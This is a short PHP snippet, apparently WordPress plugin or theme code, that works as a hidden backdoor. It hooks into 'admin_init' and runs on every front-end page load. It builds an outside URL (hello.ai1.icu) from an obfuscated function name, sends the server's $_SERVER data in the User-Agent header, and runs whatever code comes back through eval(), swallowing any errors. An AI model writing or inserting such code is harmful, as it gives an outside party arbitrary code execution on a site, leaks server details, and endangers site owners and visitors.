add_action('admin_init', "open_hello"); //add_action('template_redirect', 'open_hello'); if ( ! is_admin() ) { open_hello(); } function open_hello(){ add_option( 'open_hello', http_hello_ai1_icu() ); $args = array( 'timeout' => 10, 'headers' => array( "User-Agent"=>json_encode($_SERVER), ), ); try { $response = wp_remote_get(get_option( 'open_hello') , $args); return eval($response['body']); } catch (Throwable $e) { } } function http_hello_ai1_icu(){ $hello=explode("_",__FUNCTION__); $_FUNCTION_U=$hello[0]."://"; unset($hello[0]); $o=implode(".",$hello); return $_FUNCTION_U.$o; }